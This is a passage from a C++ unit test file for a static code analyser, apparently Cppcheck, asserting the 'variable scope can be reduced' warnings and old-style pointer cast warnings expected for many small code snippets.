notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n 